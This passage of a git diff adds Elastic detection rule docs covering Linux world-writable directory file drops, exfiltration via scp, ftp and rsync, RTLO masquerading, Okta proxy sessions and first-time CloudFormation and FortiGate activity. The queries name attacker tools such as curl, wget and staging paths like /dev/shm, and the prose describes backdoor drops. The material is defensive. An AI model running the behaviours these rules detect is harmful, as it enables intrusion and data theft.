Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-file-creation-in-world-writable-directory-by-unusual-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-file-creation-in-world-writable-directory-by-unusual-process.asciidoc new file mode 100644 index 0000000000..e71303430b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-file-creation-in-world-writable-directory-by-unusual-process.asciidoc @@ -0,0 +1,167 @@ +[[prebuilt-rule-8-19-21-file-creation-in-world-writable-directory-by-unusual-process]] +=== File Creation in World-Writable Directory by Unusual Process + +This rule detects the creation of files in world-writable directories by an unusual process. Attackers may attempt to hide their activities by creating files in world-writable directories, which are commonly used for temporary file storage. This behavior is often associated with lateral movement and can be an indicator of an attacker attempting to move laterally within a network. + +*Rule type*: new_terms + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.file* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.rapid7.com/blog/post/tr-new-whitepaper-stealthy-bpfdoor-variants/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating File Creation in World-Writable Directory by Unusual Process* + + +This alert flags a Linux process that normally should not stage content in shared writable locations such as /tmp, /var/tmp, /run, or /dev/shm. Attackers abuse these directories because many users and services can write there, which makes payloads and helper scripts easier to hide; for example, a compromised shell may use curl or python to drop an ELF backdoor into /dev/shm and execute it from that transient path. + + +*Possible investigation steps* + + +- Reconstruct the full process lineage and execution context around the file creation to determine whether it originated from an interactive session, scheduled task, container, service account, or a parent process already running from an unusual location. +- Inspect the dropped file’s type, permissions, ownership, hash, and contents to assess whether it is a script, ELF, archive, or disguised payload, and determine if it was later executed, renamed, or moved to a more persistent path. +- Correlate the alert with nearby authentication, privilege escalation, and network activity on the same host to identify signs of compromise such as recent SSH access, sudo use, remote command execution, or outbound connections to untrusted infrastructure. +- Validate whether the activity aligns with known administrative or software deployment behavior by checking package ownership, change records, automation tooling, and host or user prevalence, since one-off staging in shared writable paths is more suspicious than common fleetwide behavior. + + +*False positive analysis* + + +- Legitimate package installation, OS update, or local maintenance script activity can use interpreters or utilities such as cp, mv, chmod, curl, or python to stage temporary files in /tmp or /var/tmp before moving them into place, so verify whether the process tree, user, and event time align with expected system change or package management activity on the host. +- Normal service startup or deployment automation may create transient files in /run or /dev/shm for configuration generation, caching, or runtime state, so confirm the file owner, contents, and parent process match a known application or boot-time workflow and that the same behavior is regularly seen on comparable systems. + + +*Response and remediation* + +- Isolate the affected Linux host from the network while preserving forensic access, stop the malicious process and any spawned tools, and collect copies of the dropped file before cleanup. +- Remove attacker footholds by deleting the dropped file. +- Restore the system to a known-good state by rebuilding from a trusted image or validated backup and verifying core packages, shell configuration files, scheduled tasks, and remote access settings match the approved baseline before reconnecting it. +- Escalate to incident response immediately if the file creation was followed by privilege escalation, credential access, outbound tool downloads, lateral movement over SSH, or the same behavior is identified on multiple hosts, and expand scoping to related accounts and systems. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.category:file and event.type:creation and ( + process.name:( + "cp" or "mv" or "chmod" or "chown" or "chattr" or "chgrp" or "curl" or "wget" or "timeout" or + "env" or "node" or "deno" or "nodejs" or .* or python* or perl* or ruby* or php* or lua* + ) or + process.executable:( + ./* or /tmp/* or /var/tmp/* or /dev/shm/* or /run/* or /var/run/* or /boot/* or /sys/* or + /lost+found/* or /proc/* or /var/mail/* or /var/www/* + ) +) and +file.path:(/run/* or /var/run/* or /dev/shm/* or /tmp/* or /var/tmp/*) and +not ( + file.path:( + /var/tmp/dracut.* or /var/tmp/mkinitramfs_* or /tmp/.*-00000000.so or /run/udev/rules.d/* or + /tmp/new_root/* or /tmp/newroot/* or /run/user/*/.bubblewrap/newroot/* or /tmp/tmp.*/docker-scout_* or + /var/tmp/portage/* or /tmp/yarn--* or /run/k3s/containerd/* or /var/tmp/pamac-build-* or + /tmp/mkinitcpio* or /run/user/*/netns/netns-* + ) or + file.extension:("json" or "txt") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: File and Directory Permissions Modification +** ID: T1222 +** Reference URL: https://attack.mitre.org/techniques/T1222/ +* Sub-technique: +** Name: Linux and Mac File and Directory Permissions Modification +** ID: T1222.002 +** Reference URL: https://attack.mitre.org/techniques/T1222/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-file-transfer-utility-launched-from-unusual-parent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-file-transfer-utility-launched-from-unusual-parent.asciidoc new file mode 100644 index 0000000000..9498f1523c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-file-transfer-utility-launched-from-unusual-parent.asciidoc @@ -0,0 +1,229 @@ +[[prebuilt-rule-8-19-21-file-transfer-utility-launched-from-unusual-parent]] +=== File Transfer Utility Launched from Unusual Parent + +This rule leverages ESQL to detect the execution of unusual file transfer utilities on Linux systems. Attackers may use these utilities to exfiltrate data from a compromised system. ESQL rules have limited fields available in its alert documents. Make sure to review the original documents to aid in the investigation of this alert. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 1h + +*Searches indices from*: now-61m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Exfiltration +* Tactic: Execution +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 12 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + ## Triage and analysis + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating File Transfer Utility Launched from Unusual Parent* + + +File transfer utilities like scp, ftp, and rsync are essential for data movement in Linux environments. However, adversaries can exploit these tools to exfiltrate sensitive data. The detection rule identifies suspicious executions of these utilities by monitoring process activities, focusing on rare occurrences and unique agent IDs, which may indicate unauthorized data transfers. This helps in early detection of potential data breaches. + + +*Possible investigation steps* + + +- Review the process.command_line field to understand the exact command executed and assess if it aligns with typical usage patterns or if it appears suspicious. +- Examine the process.parent.executable field to determine the parent process that initiated the file transfer utility, which may provide insights into whether the execution was part of a legitimate workflow or potentially malicious activity. +- Check the agent.id field to identify the specific host involved in the alert and correlate it with other security events or logs from the same host to gather additional context. +- Investigate the @timestamp field to verify the timing of the event and cross-reference with any known scheduled tasks or user activities that could explain the execution. +- Analyze the host.os.type field to confirm the operating system and ensure that the alert pertains to a Linux environment, as expected by the rule. + + +*False positive analysis* + + +- Routine administrative tasks using file transfer utilities may trigger alerts. Regularly scheduled backups or updates using scp, rsync, or ftp should be documented and excluded from alerts by creating exceptions for known scripts or cron jobs. +- Automated system updates or patches that utilize these utilities can be mistaken for suspicious activity. Identify and whitelist the processes and command lines associated with these updates to prevent false positives. +- Internal data transfers between trusted servers for legitimate business purposes might be flagged. Establish a list of trusted agent IDs and exclude them from the rule to avoid unnecessary alerts. +- Development and testing environments often use these utilities for transferring test data. Ensure that these environments are recognized and excluded by specifying their hostnames or IP addresses in the rule configuration. +- User-initiated file transfers for legitimate reasons, such as data analysis or reporting, can be misinterpreted. Educate users to notify the security team of such activities in advance, allowing for temporary exceptions to be made. + + +*Response and remediation* + + +- Immediately isolate the affected Linux system from the network to prevent further data exfiltration and unauthorized access. +- Terminate any suspicious file transfer processes identified by the alert, such as scp, ftp, or rsync, to halt ongoing data transfers. +- Conduct a thorough review of the process command lines and parent executables to identify any malicious scripts or unauthorized software that initiated the file transfer. +- Change credentials and access keys associated with the compromised system to prevent further unauthorized access. +- Escalate the incident to the security operations team for a deeper forensic analysis to determine the extent of the breach and identify any additional compromised systems. +- Implement network monitoring to detect any further attempts of unauthorized file transfers or suspicious activities from the affected system. +- Update and enhance endpoint detection and response (EDR) solutions to improve detection capabilities for similar threats in the future. + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.process-* metadata _id, _index, _version +| mv_expand event.action +| where + host.os.type == "linux" and + event.type == "start" and + event.action == "exec" and + process.name in ("scp", "ftp", "sftp", "vsftpd", "sftp-server", "rsync") and ( + (process.parent.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish")) or + ( + process.parent.name like ".*" or + process.parent.name like "*.elf" or + process.parent.name like "*.sh" or + process.parent.name like "*.py" or + process.parent.name like "*.rb" or + process.parent.name like "*.pl" or + process.parent.name like "*.lua*" or + process.parent.name like "*.php*" or + process.parent.name like "*.js" + ) or + ( + process.parent.executable like "/tmp/*" or + process.parent.executable like "/var/tmp/*" or + process.parent.executable like "/dev/shm/*" or + process.parent.executable like "./*" or + process.parent.executable like "/run/*" or + process.parent.executable like "/var/run/*" or + process.parent.executable like "/boot/*" or + process.parent.executable like "/sys/*" or + process.parent.executable like "/lost+found/*" or + process.parent.executable like "/proc/*" or + process.parent.executable like "/var/mail/*" or + process.parent.executable like "/var/www/*" or + process.parent.executable like "/home/*" or + process.parent.executable like "/root/*" + ) + ) + +| keep + @timestamp, + _id, + _index, + _version, + host.os.type, + event.type, + event.action, + process.name, + process.parent.name, + process.parent.executable, + process.executable, + agent.id, + host.name, + data_stream.dataset, + data_stream.namespace + +| stats + Esql.event_count = count(), + Esql.agent_id_count_distinct = count_distinct(agent.id), + Esql.host_name_values = values(host.name), + Esql.agent_id_values = values(agent.id), + Esql.data_stream_dataset_values = values(data_stream.dataset), + Esql.data_stream_namespace_values = values(data_stream.namespace) + + by process.executable, process.parent.executable + +| where + Esql.agent_id_count_distinct == 1 and + Esql.event_count < 5 +| sort Esql.event_count asc + +// Extract unique values to ECS fields for alerts exclusion +| eval agent.id = mv_min(Esql.agent_id_values), + host.name = mv_min(Esql.host_name_values) + +| keep agent.id, host.name, process.executable, process.parent.executable, Esql.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Alternative Protocol +** ID: T1048 +** Reference URL: https://attack.mitre.org/techniques/T1048/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-file-with-right-to-left-override-character-rtlo-created-executed.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-file-with-right-to-left-override-character-rtlo-created-executed.asciidoc new file mode 100644 index 0000000000..4b778f003b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-file-with-right-to-left-override-character-rtlo-created-executed.asciidoc @@ -0,0 +1,139 @@ +[[prebuilt-rule-8-19-21-file-with-right-to-left-override-character-rtlo-created-executed]] +=== File with Right-to-Left Override Character (RTLO) Created/Executed + +Identifies the creation or execution of files or processes with names containing the Right-to-Left Override (RTLO) character, which can be used to disguise the file extension and trick users into executing malicious files. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-endpoint.events.file-* +* logs-windows.sysmon_operational-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* endgame-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating File with Right-to-Left Override Character (RTLO) Created/Executed* + + +The RTLO character reverses text direction, often used to disguise file extensions, making malicious files appear benign. Adversaries exploit this to trick users into executing harmful files. The detection rule identifies suspicious file or process activities on Windows systems by scanning for RTLO characters in file paths or process names, helping to uncover potential masquerading attempts. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific file path or process name containing the RTLO character by examining the file.path or process.name fields. +- Check the event.type field to determine whether the alert was triggered by a file creation or process start event, which can help prioritize the investigation focus. +- Investigate the origin of the file or process by examining the file's creation time, user account involved, and any associated network activity to identify potential sources or delivery methods. +- Analyze the file or process for malicious behavior by using endpoint detection tools or sandbox environments to execute and monitor its actions. +- Cross-reference the file or process with threat intelligence databases to check for known malicious indicators or similar attack patterns. +- Review system logs and other security alerts around the same timeframe to identify any additional suspicious activities or related incidents. + + +*False positive analysis* + + +- Legitimate software installations or updates may use RTLO characters in file names to manage versioning or localization, which can trigger false positives. Users can create exceptions for known software vendors or specific installation directories to reduce these alerts. +- Some file management or backup applications might use RTLO characters in temporary file names for internal processing. Identifying these applications and excluding their specific file paths from monitoring can help minimize false positives. +- Custom scripts or tools developed in-house might inadvertently use RTLO characters for legitimate purposes. Reviewing these scripts and excluding their execution paths or file names from the detection rule can prevent unnecessary alerts. +- Certain international or multilingual applications may use RTLO characters as part of their normal operation. Users should identify these applications and configure exceptions based on their file paths or process names to avoid false positives. +- In environments where file names are dynamically generated and may include RTLO characters, consider implementing a whitelist of trusted file paths or process names to reduce the likelihood of false alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further spread or communication with potential command and control servers. +- Terminate any suspicious processes identified with the RTLO character in their names to halt any ongoing malicious activity. +- Quarantine the files containing the RTLO character to prevent execution and further analysis. +- Conduct a thorough scan of the isolated system using updated antivirus or endpoint detection and response (EDR) tools to identify and remove any additional malicious files or remnants. +- Review and analyze system logs and security alerts to determine the extent of the compromise and identify any lateral movement or additional affected systems. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional containment measures are necessary. +- Implement enhanced monitoring and detection rules to identify future attempts to use RTLO characters for masquerading, ensuring that similar threats are detected promptly. + +==== Rule query + + +[source, js] +---------------------------------- +any where host.os.type == "windows" and event.category in ("file", "process") and + ( + (event.type == "creation" and file.path : "*\u{202E}*") or + (event.type == "start" and process.name : "*\u{202E}*") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Right-to-Left Override +** ID: T1036.002 +** Reference URL: https://attack.mitre.org/techniques/T1036/002/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious File +** ID: T1204.002 +** Reference URL: https://attack.mitre.org/techniques/T1204/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-first-occurrence-of-okta-user-session-started-via-proxy.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-first-occurrence-of-okta-user-session-started-via-proxy.asciidoc new file mode 100644 index 0000000000..ba59890b08 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-first-occurrence-of-okta-user-session-started-via-proxy.asciidoc @@ -0,0 +1,125 @@ +[[prebuilt-rule-8-19-21-first-occurrence-of-okta-user-session-started-via-proxy]] +=== First Occurrence of Okta User Session Started via Proxy + +Identifies the first occurrence of an Okta user session started via a proxy. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-okta.system-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developer.okta.com/docs/reference/api/system-log/ +* https://developer.okta.com/docs/reference/api/event-types/ +* https://developer.okta.com/docs/reference/api/system-log/#issuer-object +* https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy +* https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection +* https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security +* https://www.elastic.co/security-labs/starter-guide-to-understanding-okta +* https://cloud.google.com/blog/topics/threat-intelligence/expansion-shinyhunters-saas-data-theft + +*Tags*: + +* Domain: Identity +* Tactic: Initial Access +* Use Case: Identity and Access Audit +* Data Source: Okta +* Data Source: Okta System Logs +* Resources: Investigation Guide + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating First Occurrence of Okta User Session Started via Proxy* + + +This rule detects the first occurrence of an Okta user session started via a proxy. This rule is designed to help identify suspicious authentication behavior that may be indicative of an attacker attempting to gain access to an Okta account while remaining anonymous. This rule leverages the New Terms rule type feature where the `okta.actor.id` value is checked against the previous 7 days of data to determine if the value has been seen before for this activity. + + +*Possible investigation steps:* + +- Identify the user involved in this action by examining the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, and `okta.actor.display_name` fields. +- Determine the client used by the actor. Review the `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.zone`, `okta.client.device`, and `okta.client.id` fields. +- Examine the `okta.debug_context.debug_data.flattened` field for more information about the proxy used. +- Review the `okta.request.ip_chain` field for more information about the geographic location of the proxy. +- Review the past activities of the actor involved in this action by checking their previous actions. +- Evaluate the actions that happened just before and after this event in the `okta.event_type` field to help understand the full context of the activity. + + +*False positive analysis:* + +- A user may have legitimately started a session via a proxy for security or privacy reasons. + + +*Response and remediation:* + +- Review the profile of the user involved in this action to determine if proxy usage may be expected. +- If the user is legitimate and the authentication behavior is not suspicious, no action is required. +- If the user is legitimate but the authentication behavior is suspicious, consider resetting the user's password and enabling multi-factor authentication (MFA). + - If MFA is already enabled, consider resetting MFA for the user. +- If the user is not legitimate, consider deactivating the user's account. +- Conduct a review of Okta policies and ensure they are in accordance with security best practices. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:okta.system and + okta.event_type: ( + user.session.start or + user.authentication.verify or + user.authentication.sso or + user.authentication.auth_via_mfa + ) and + okta.security_context.is_proxy:true and + not okta.actor.id: okta* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-first-time-aws-cloudformation-stack-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-first-time-aws-cloudformation-stack-creation.asciidoc new file mode 100644 index 0000000000..d3285e289c --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-first-time-aws-cloudformation-stack-creation.asciidoc @@ -0,0 +1,116 @@ +[[prebuilt-rule-8-19-21-first-time-aws-cloudformation-stack-creation]] +=== First Time AWS CloudFormation Stack Creation + +This rule detects the first time a principal calls AWS CloudFormation CreateStack, CreateStackSet or CreateStackInstances API. CloudFormation is used to create a collection of cloud resources called a stack, via a defined template file. An attacker with the appropriate privileges could leverage CloudFormation to create specific resources needed to further exploit the environment. This is a new terms rule that looks for the first instance of this behavior for a role or IAM user within a particular account. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-aws.cloudtrail-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-6m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/stacksets-concepts.html +* https://docs.aws.amazon.com/AWSCloudFormation/latest/APIReference/API_CreateStack.html + +*Tags*: + +* Domain: Cloud +* Data Source: AWS +* Data Source: Amazon Web Services +* Data Source: CloudFormation +* Use Case: Asset Visibility +* Tactic: Execution +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating First Time AWS CloudFormation Stack Creation* + + +AWS CloudFormation automates the setup of cloud resources using templates, streamlining infrastructure management. Adversaries with access can exploit this to deploy malicious resources, escalating their control. The detection rule identifies unusual activity by flagging the initial use of stack creation APIs by a user or role, helping to spot potential unauthorized actions early. + + +*Possible investigation steps* + + +- Review `aws.cloudtrail.user_identity.arn` to identify the user or role that initiated the `CreateStack` or `CreateStackInstances` action. +- Verify the IAM permissions of the user or role involved in the event to ensure they have the appropriate level of access and determine if the action aligns with their typical responsibilities. +- Examine the stack template used to identify any unusual or unauthorized resources being provisioned. +- Investigate any related resources that were deployed as part of the stack. +- Correlate the timing of the stack creation with other logs or alerts to identify any suspicious activity or patterns that might indicate malicious intent. +- Investigate the account's recent activity history to determine if there have been any other first-time or unusual actions by the same user or role. + + +*False positive analysis* + + +- Routine infrastructure updates by authorized users may trigger the rule. To manage this, maintain a list of users or roles that regularly perform these updates and create exceptions for them. +- Automated deployment tools or scripts that use CloudFormation for legitimate purposes can cause false positives. Identify these tools and exclude their associated IAM roles or users from the rule. +- New team members or roles onboarding into cloud management tasks might be flagged. Implement a process to review and whitelist these users after verifying their activities. +- Scheduled or periodic stack creations for testing or development environments can be mistaken for suspicious activity. Document these schedules and exclude the relevant users or roles from the rule. +- Third-party services or integrations that require stack creation permissions could be misidentified. Ensure these services are documented and their actions are excluded from triggering the rule. + + +*Response and remediation* + + +- Immediately isolate the IAM user or role that initiated the stack creation to prevent further unauthorized actions. This can be done by revoking permissions with a https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AWSDenyAll.html[DenyAll] permissions policy or disabling the account temporarily. +- Review the created stack for any unauthorized or suspicious resources. Identify and terminate any resources that are not part of the expected infrastructure. +- Conduct a thorough audit of recent IAM activity to identify any other unusual or unauthorized actions that may indicate further compromise. +- If malicious activity is confirmed, escalate the incident to the security operations team for a full investigation and potential involvement of incident response teams. +- Implement additional monitoring and alerting for the affected account to detect any further unauthorized attempts to use CloudFormation or other critical AWS services. +- Review and tighten IAM policies and permissions to ensure that only necessary privileges are granted, reducing the risk of exploitation by adversaries. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:aws.cloudtrail and event.provider:cloudformation.amazonaws.com and + event.action: (CreateStack or CreateStackInstances) + and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Serverless Execution +** ID: T1648 +** Reference URL: https://attack.mitre.org/techniques/T1648/ +* Technique: +** Name: Cloud Administration Command +** ID: T1651 +** Reference URL: https://attack.mitre.org/techniques/T1651/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-first-time-fortigate-administrator-login.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-first-time-fortigate-administrator-login.asciidoc new file mode 100644 index 0000000000..805dc6e844 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-first-time-fortigate-administrator-login.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-21-first-time-fortigate-administrator-login]] +=== First-Time FortiGate Administrator Login + +This rule detects the first observed successful login of a user with the Administrator role to the FortiGate management interface within the last 5 days. First-time administrator logins can indicate newly provisioned accounts, misconfigurations, or unauthorized access using valid credentials and should be reviewed promptly. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-7205m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/reference/integrations/fortinet_fortigate +* https://www.cisa.gov/news-events/alerts/2026/01/28/fortinet-releases-guidance-address-ongoing-exploitation-authentication-bypass-vulnerability-cve-2026 + +*Tags*: + +* Use Case: Threat Detection +* Tactic: Initial Access +* Resources: Investigation Guide +* Domain: Network +* Domain: Identity +* Data Source: Fortinet +* Data Source: Fortinet FortiGate + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and 